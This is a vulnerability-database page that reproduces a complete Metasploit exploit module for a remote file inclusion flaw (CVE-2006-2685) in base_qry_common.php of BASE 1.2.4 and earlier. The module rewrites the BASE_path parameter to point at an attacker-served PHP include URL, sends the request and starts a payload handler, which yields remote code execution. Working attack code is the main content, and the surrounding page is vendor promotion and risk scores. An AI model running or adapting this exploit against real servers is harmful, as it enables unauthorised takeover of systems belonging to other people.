Lucene search
K

BASE <= 1.2.4 base_qry_common.php Remote File Inclusion

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 11 Views

Remote File Inclusion in BASE 1.2.4 base_qry_common.ph

Code

                                                ##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::HttpServer::PHPInclude

	def initialize(info = {})
		super(update_info(info,	
			&#39;Name&#39;           =&#62; &#39;BASE base_qry_common Remote File Include.&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a remote file inclusion vulnerability in
					the base_qry_common.php file in BASE 1.2.4 and earlier.
			},
			&#39;Author&#39;         =&#62; [ &#39;MC&#39; ],
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Version&#39;        =&#62; &#39;$Revision:$&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2006-2685&#39; ],
					[ &#39;BID&#39;, &#39;18298&#39; ],
				],
			&#39;Privileged&#39;     =&#62; false,
			&#39;Payload&#39;        =&#62;
				{
					&#39;DisableNops&#39; =&#62; true,
					&#39;Compat&#39;      =&#62; 
						{
							&#39;ConnectionType&#39; =&#62; &#39;find&#39;,
						},
					&#39;Space&#39;       =&#62; 32768,
				},
			&#39;Platform&#39;       =&#62; &#39;php&#39;,
			&#39;Arch&#39;           =&#62; ARCH_PHP,
			&#39;Targets&#39;        =&#62; [[ &#39;Automatic&#39;, { }]],
			&#39;DisclosureDate&#39; =&#62; &#39;Jun 14 2008&#39;,
			&#39;DefaultTarget&#39; =&#62; 0))
			
			register_options(
				[
					OptString.new(&#39;PHPURI&#39;, [true, &#34;The URI to request, with the include parameter changed to !URL!&#34;, &#34;/base/base_qry_common.php?BASE_path=!URL!&#34;]),
				], self.class)
	end

	def php_exploit

		timeout = 0.01
		uri = datastore[&#39;PHPURI&#39;].gsub(&#39;!URL!&#39;, Rex::Text.to_hex(php_include_url, &#34;%&#34;))
		print_status(&#34;Trying uri #{uri}&#34;)

		response = send_request_raw( {
				&#39;global&#39; =&#62; true,
				&#39;uri&#39; =&#62; uri,
			},timeout)

		if response and response.code != 200
			print_error(&#34;Server returned non-200 status code (#{response.code})&#34;)
		end
		
		handler
	end

end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
11